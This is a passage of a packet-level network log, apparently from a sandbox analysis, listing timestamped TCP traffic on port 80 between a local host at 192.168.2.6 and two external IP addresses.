Nov 21, 2024 14:11:23.984662056 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.984782934 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.985858917 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.985920906 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.985958099 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.986243010 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.986974001 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.987082005 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.987889051 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.988274097 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.988337994 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.989350080 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.989423990 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.989471912 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.989561081 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.990469933 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.990535021 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.991611958 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.991647005 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.991694927 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.991734982 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.992760897 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.992857933 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.993387938 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.993911028 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.994026899 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.994091988 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.995059013 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.995158911 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.995228052 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.996212959 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.996309042 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.996470928 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.997374058 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.997471094 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.997653008 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.998593092 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.998666048 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.999495983 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.999691963 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.999818087 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.999855042 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.000848055 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.000906944 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.001135111 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.002093077 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.002186060 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.002391100 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.003189087 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.003323078 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.003576040 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.004338980 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.004458904 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.004508972 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.005485058 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.005507946 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.005681038 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.006647110 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.006755114 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.006865025 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.007833004 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.007858038 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.008249998 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.008979082 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.009227037 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.009269953 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.010099888 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.010210037 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.010271072 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.011279106 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.011370897 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.011440992 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.012408018 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.012473106 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.012535095 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.013597012 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.013705015 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.013905048 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.014729977 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.014856100 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.014950037 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.015943050 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.015959978 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.016012907 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.017049074 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.017163992 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.017236948 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.018213034 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.018318892 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.018378973 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.019357920 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.019488096 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.019548893 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.020643950 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.020760059 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.020976067 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.021694899 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.021933079 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.021991968 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.022821903 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.022938967 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.022993088 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.023992062 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.024158001 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.024214029 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.025111914 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.025240898 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.025325060 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.026281118 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.026379108 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.026489973 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.027407885 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.027585030 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.027673960 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.028562069 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.028695107 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.028774977 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.029691935 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.029824972 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.029875994 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.030853033 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.033448935 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.033510923 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.033596039 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.033638954 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.037657976 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.037709951 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.037787914 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.037838936 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.046216011 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.046237946 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.046284914 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.054513931 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.054574013 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.054682016 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.054728031 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.059835911 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.059967995 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.059978962 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.060009003 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.064357042 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.064413071 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.064460993 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.064507961 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.069269896 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.069324017 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.069335938 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.069384098 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.070641041 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.074206114 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.074258089 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.074332952 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.074382067 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.078957081 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.079010963 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.079102993 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.079202890 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.083894014 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.083967924 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.083998919 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.084048033 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.088639021 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.088682890 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.088704109 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.088733912 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.093576908 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.093624115 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.093631029 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.093663931 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.098367929 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.098417997 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.098479986 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.098547935 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.103235960 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.103288889 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.103420973 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.103471994 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.108239889 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.108318090 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.108334064 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.108386993 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.113023043 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.113075018 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.113135099 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.113198042 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.117810011 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.117867947 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.117873907 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.117913961 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.122662067 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.122714996 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.122721910 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.122762918 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.127505064 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:24.127559900 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:24.162385941 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.162441969 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.162494898 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.162915945 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.163063049 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.163122892 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.164105892 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.164280891 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.164371014 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.165302992 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.165335894 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.165539980 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.166316032 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.166470051 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.166563034 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.167440891 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.167598009 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.167714119 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.168644905 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.168780088 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.168845892 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.169832945 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.169950962 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.170030117 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.170866013 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.170994043 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.171060085 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.172151089 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.172193050 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.172290087 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.173149109 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.173314095 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.173361063 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.174268961 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.174377918 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.174469948 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.175410032 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.175678015 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.175755024 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.176577091 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.176686049 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.176764011 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.177805901 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.177898884 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.177974939 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.178932905 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.179044962 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.179158926 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.180064917 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.180095911 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.180212975 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.181137085 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.181248903 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.181324959 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.182320118 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.182487011 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.182574987 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.183434010 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.183530092 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.183603048 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.184546947 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.184710026 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.184760094 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.185720921 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.185875893 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.185936928 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.186832905 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.186973095 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.187036991 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.188103914 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.188203096 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.188256979 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.189197063 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.189383030 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.189493895 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.190279007 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.190427065 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.190506935 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.191443920 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.191550016 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.191881895 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.192521095 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.192619085 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.192684889 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.193669081 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.193799019 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.193876028 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.194822073 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.194911003 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.194955111 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.195938110 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.196037054 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.196084976 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.197160006 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.197326899 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.197379112 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.198206902 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.198371887 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.198440075 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.199390888 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.199461937 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.199616909 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.200515985 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.200608969 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.200659990 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.201647043 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.201839924 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.201939106 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.203583002 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.203669071 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.203711033 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.204415083 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.204530954 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.204663992 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.205791950 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.206063986 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.206098080 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.207803965 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.207860947 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.207895994 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.208726883 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.208822012 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.208976030 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.209470034 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.209584951 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.209703922 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.210639954 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.210714102 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.210777044 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.211257935 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.211323023 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.211504936 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.211930037 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.212003946 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.212085009 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.213083982 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.213279009 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.213331938 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.214175940 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.214327097 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.214418888 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.215415955 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.215609074 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:24.215675116 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:24.217012882 CET	80	49903	34.116.198.130	192.168.2.6
